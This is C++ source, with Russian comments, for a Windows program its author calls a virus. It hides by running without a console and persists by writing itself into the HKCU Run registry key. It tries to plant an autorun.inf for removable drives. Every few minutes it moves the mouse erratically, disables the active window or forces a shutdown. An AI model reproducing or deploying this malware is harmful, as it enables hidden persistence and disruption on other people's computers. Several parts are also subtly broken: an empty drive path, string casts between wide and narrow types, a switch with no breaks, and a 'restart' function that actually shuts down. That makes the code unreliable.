//“Header.h”

#pragma once

#include <windows.h>

#include <cstring>

#include <iostream>

#include <string>

#include<time.h>

#include <conio.h>

#include<stdio.h>

#include <tchar.h>

using namespace std;

BOOL IsMyProgramRegisteredForStartup(PCWSTR);

BOOL RegisterMyProgramForStartup(PCWSTR, PCWSTR, PCWSTR);

void RegisterProgram();

void trick();

void crazyMouse();

void disableWindow();

void restartSystem();

void AutoRunInf();

//main.cpp

#include"Header.h"

//Используем WinMain(), так как она не использует консоль, следовательно, вирус будет скрытен

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

bool flag;

flag = IsMyProgramRegisteredForStartup(L"My\_Program");

//Проверка на наличие вируса в автозагрузке

if (flag == FALSE)

RegisterProgram(); //автозагрузка

AutoRunInf();

while(1)

{

//Вызов функции, творящей пакости

trick();

Sleep(360000);

}

return 0;

}

//autorun.cpp

//autorun.cpp

#include"Header.h"

//Проверка на наличие вируса в автозагрузке

BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName)

{

HKEY hKey = NULL;

LONG lResult = 0;

BOOL fSuccess = TRUE;

DWORD dwRegType = REG\_SZ;

wchar\_t szPathToExe[MAX\_PATH] = {};

DWORD dwSize = sizeof(szPathToExe);

//Открытие существующего ключа в реестре

lResult = RegOpenKeyExW(HKEY\_CURRENT\_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY\_READ, &hKey);

fSuccess = (lResult == 0);

//Если ключ открылся

if (fSuccess)

{

//Чтение

lResult = RegGetValueW(hKey, NULL, pszAppName, RRF\_RT\_REG\_SZ, &dwRegType, szPathToExe, &dwSize);

fSuccess = (lResult == 0);

}

//Если файл уже имеется

if (fSuccess)

{

fSuccess = (wcslen(szPathToExe) > 0) ? TRUE : FALSE;

}

//Если ключ был считан

if (hKey != NULL)

{

RegCloseKey(hKey);

hKey = NULL;

}

return fSuccess;

}

//Запись программы в автозапуск

BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args)

{

HKEY hKey = NULL;

LONG lResult = 0;

BOOL fSuccess = TRUE;

DWORD dwSize;

const size\_t count = MAX\_PATH \* 2;

wchar\_t szValue[count] = {};

//Записываем путь к экзешнику

wcscpy\_s(szValue, count, L"\"");

wcscat\_s(szValue, count, pathToExe);

wcscat\_s(szValue, count, L"\" ");

if (args != NULL)

{

wcscat\_s(szValue, count, args);

}

//Создание ключа

lResult = RegCreateKeyExW(HKEY\_CURRENT\_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, (KEY\_WRITE | KEY\_READ), NULL, &hKey, NULL);

fSuccess = (lResult == 0);

if (fSuccess)

{

dwSize = (wcslen(szValue) + 1) \* 2;

//Запись данных

lResult = RegSetValueExW(hKey, pszAppName, 0, REG\_SZ, (BYTE\*)szValue, dwSize);

fSuccess = (lResult == 0);

}

if (hKey != NULL)

{

//Закрытие ключа

RegCloseKey(hKey);

hKey = NULL;

}

return fSuccess;

}

//Функция получает путь к ехе-файлу и передаёт его в //функцию для записи программы в автозапуск

void RegisterProgram()

{

wchar\_t szPathToExe[MAX\_PATH];

//Получение пути к ехе-файлу

GetModuleFileNameW(NULL, szPathToExe, MAX\_PATH);

//Вызов программы записи в автозапуск

RegisterMyProgramForStartup(L"My\_Program", szPathToExe, L"-foobar");

}

//Создание файла автозапуска с флэш-носителя

void AutoRunInf()

{

wchar\_t szRoot[4] = { 0 };

wchar\_t szTarget[MAX\_PATH] = { 0 };

lstrcpy((LPSTR)szTarget, (LPSTR)szRoot);

lstrcat((LPSTR)szTarget, (LPSTR)"autorun.inf");

//Создать дескриптор файла

HANDLE hFile = CreateFile((LPSTR)szTarget,

GENERIC\_WRITE, 0, NULL, CREATE\_ALWAYS,

FILE\_ATTRIBUTE\_NORMAL, NULL);

}

//dirtyTrick.cpp

#include "Header.h"

//Функция управления пакостями

void trick()

{

//Генерация случайного числа

srand((unsigned)time(0));

int r;

r = (rand() % 3) + 1;

//Вызов соответствующей пакости

switch (r) {

case 1: crazyMouse();

case 2: disableWindow();

case 3: restartSystem();

}

}

//Функция беспорядочно перемещает курсор по экрану

void crazyMouse()

{

for (int i = 0; i < 2000; i++)

{

//Устанавливаем рандомные координаты для курсора

POINT pt = { rand() % 800, rand() % 600 }; SetCursorPos(pt.x, pt.y);

Sleep(100);

}

}

//Блокировка активного окна

void disableWindow()

{

HWND hWnd = GetForegroundWindow();

EnableWindow(hWnd, false);

}

//Выключение компьютера

void restartSystem()

{

system("shutdown -s -t 1");

}